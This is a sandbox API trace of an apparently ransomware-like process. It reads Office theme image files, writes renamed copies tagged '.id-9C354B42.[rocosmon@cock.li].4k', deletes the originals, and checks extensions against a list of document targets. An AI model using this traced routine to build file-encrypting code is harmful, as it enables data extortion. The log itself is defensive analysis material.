	[0105.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.196] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=18817) returned 1
	[0105.196] CloseHandle (hObject=0x1fc) returned 1
	[0105.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20
	[0105.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.197] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.197] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.676] GetLastError () returned 0x0
	[0105.676] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x4981, lpOverlapped=0x0) returned 1
	[0105.725] WriteFile (in: hFile=0x1d0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x4990, lpOverlapped=0x0) returned 1
	[0105.726] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.726] WriteFile (in: hFile=0x1d0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.726] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.726] CloseHandle (hObject=0x1d0) returned 1
	[0105.726] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.726] SetEndOfFile (hFile=0x1fc) returned 1
	[0105.727] CloseHandle (hObject=0x1fc) returned 1
	[0105.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.727] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1
	[0105.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.727] lstrlenW (lpString=".doc") returned 4
	[0105.727] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.727] lstrlenW (lpString=".docx") returned 5
	[0105.727] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.727] lstrlenW (lpString=".pdf") returned 4
	[0105.727] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.728] lstrlenW (lpString=".xls") returned 4
	[0105.728] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.728] lstrlenW (lpString=".xlsx") returned 5
	[0105.728] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.728] lstrlenW (lpString=".ppt") returned 4
	[0105.728] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.728] lstrlenW (lpString=".zip") returned 4
	[0105.728] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.728] lstrlenW (lpString=".rar") returned 4
	[0105.728] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.728] lstrlenW (lpString=".bz2") returned 4
	[0105.728] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.728] lstrlenW (lpString=".7z") returned 3
	[0105.728] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.728] lstrlenW (lpString=".dbf") returned 4
	[0105.728] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.728] lstrlenW (lpString=".1cd") returned 4
	[0105.728] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.728] lstrlenW (lpString=".jpg") returned 4
	[0105.728] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.728] lstrlenW (lpString=".doc") returned 4
	[0105.728] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.728] lstrlenW (lpString=".docx") returned 5
	[0105.728] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.728] lstrlenW (lpString=".pdf") returned 4
	[0105.729] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.729] lstrlenW (lpString=".xls") returned 4
	[0105.729] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.729] lstrlenW (lpString=".xlsx") returned 5
	[0105.729] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.729] lstrlenW (lpString=".ppt") returned 4
	[0105.729] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.729] lstrlenW (lpString=".zip") returned 4
	[0105.729] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.729] lstrlenW (lpString=".rar") returned 4
	[0105.729] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.729] lstrlenW (lpString=".bz2") returned 4
	[0105.729] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.729] lstrlenW (lpString=".7z") returned 3
	[0105.729] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.729] lstrlenW (lpString=".dbf") returned 4
	[0105.729] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.729] lstrlenW (lpString=".1cd") returned 4
	[0105.729] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0105.729] lstrlenW (lpString=".jpg") returned 4
	[0105.729] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.729] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.729] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.730] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1364) returned 1
	[0105.730] CloseHandle (hObject=0x1fc) returned 1
	[0105.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20
	[0105.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.730] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.730] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.732] GetLastError () returned 0x0
	[0105.732] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x554, lpOverlapped=0x0) returned 1
	[0105.778] WriteFile (in: hFile=0x1d0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x560, lpOverlapped=0x0) returned 1
	[0105.779] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.779] WriteFile (in: hFile=0x1d0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.779] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.779] CloseHandle (hObject=0x1d0) returned 1
	[0105.780] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.780] SetEndOfFile (hFile=0x1fc) returned 1
	[0105.780] CloseHandle (hObject=0x1fc) returned 1
	[0105.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.781] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1
	[0105.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.781] lstrlenW (lpString=".doc") returned 4
	[0105.781] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.781] lstrlenW (lpString=".docx") returned 5
	[0105.781] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.781] lstrlenW (lpString=".pdf") returned 4
	[0105.781] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.781] lstrlenW (lpString=".xls") returned 4
	[0105.781] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.781] lstrlenW (lpString=".xlsx") returned 5
	[0105.781] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.781] lstrlenW (lpString=".ppt") returned 4
	[0105.781] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.781] lstrlenW (lpString=".zip") returned 4
	[0105.781] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.781] lstrlenW (lpString=".rar") returned 4
	[0105.781] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.781] lstrlenW (lpString=".bz2") returned 4
	[0105.781] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.781] lstrlenW (lpString=".7z") returned 3
	[0105.781] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.781] lstrlenW (lpString=".dbf") returned 4
	[0105.782] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.782] lstrlenW (lpString=".1cd") returned 4
	[0105.782] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.782] lstrlenW (lpString=".jpg") returned 4
	[0105.782] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.782] lstrlenW (lpString=".doc") returned 4
	[0105.782] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.782] lstrlenW (lpString=".docx") returned 5
	[0105.782] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.782] lstrlenW (lpString=".pdf") returned 4
	[0105.782] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.782] lstrlenW (lpString=".xls") returned 4
	[0105.782] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.782] lstrlenW (lpString=".xlsx") returned 5
	[0105.782] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.782] lstrlenW (lpString=".ppt") returned 4
	[0105.782] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.782] lstrlenW (lpString=".zip") returned 4
	[0105.782] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.782] lstrlenW (lpString=".rar") returned 4
	[0105.782] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.782] lstrlenW (lpString=".bz2") returned 4
	[0105.782] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.782] lstrlenW (lpString=".7z") returned 3
	[0105.782] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.783] lstrlenW (lpString=".dbf") returned 4
	[0105.783] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.783] lstrlenW (lpString=".1cd") returned 4
	[0105.783] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75
	[0105.783] lstrlenW (lpString=".jpg") returned 4
	[0105.783] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.783] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.783] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.783] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=11573) returned 1
	[0105.783] CloseHandle (hObject=0x1fc) returned 1
	[0105.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20
	[0105.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0105.784] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.784] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.784] GetLastError () returned 0x0
	[0105.784] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x2d35, lpOverlapped=0x0) returned 1
	[0105.852] WriteFile (in: hFile=0x1d0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x2d40, lpOverlapped=0x0) returned 1
	[0105.853] ReadFile (in: hFile=0x1fc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.853] WriteFile (in: hFile=0x1d0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.853] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.854] CloseHandle (hObject=0x1d0) returned 1
	[0105.854] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.854] SetEndOfFile (hFile=0x1fc) returned 1
	[0105.855] CloseHandle (hObject=0x1fc) returned 1
	[0105.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.855] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1
	[0105.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.855] lstrlenW (lpString=".doc") returned 4
	[0105.856] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.856] lstrlenW (lpString=".docx") returned 5
	[0105.856] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.856] lstrlenW (lpString=".pdf") returned 4
	[0105.856] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.856] lstrlenW (lpString=".xls") returned 4
	[0105.856] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.856] lstrlenW (lpString=".xlsx") returned 5
	[0105.856] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.856] lstrlenW (lpString=".ppt") returned 4
	[0105.856] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.856] lstrlenW (lpString=".zip") returned 4
	[0105.856] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.856] lstrlenW (lpString=".rar") returned 4
	[0105.856] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.856] lstrlenW (lpString=".bz2") returned 4
	[0105.856] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.856] lstrlenW (lpString=".7z") returned 3
	[0105.856] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.856] lstrlenW (lpString=".dbf") returned 4
	[0105.856] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.856] lstrlenW (lpString=".1cd") returned 4
	[0105.856] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.856] lstrlenW (lpString=".jpg") returned 4
	[0105.856] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.856] lstrlenW (lpString=".doc") returned 4
	[0105.856] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.856] lstrlenW (lpString=".docx") returned 5
	[0105.856] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.856] lstrlenW (lpString=".pdf") returned 4
	[0105.856] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.857] lstrlenW (lpString=".xls") returned 4
	[0105.857] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.857] lstrlenW (lpString=".xlsx") returned 5
	[0105.857] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.857] lstrlenW (lpString=".ppt") returned 4
	[0105.857] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.857] lstrlenW (lpString=".zip") returned 4
	[0105.857] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.857] lstrlenW (lpString=".rar") returned 4
	[0105.857] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.857] lstrlenW (lpString=".bz2") returned 4
	[0105.857] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.857] lstrlenW (lpString=".7z") returned 3
	[0105.857] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.857] lstrlenW (lpString=".dbf") returned 4
	[0105.857] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
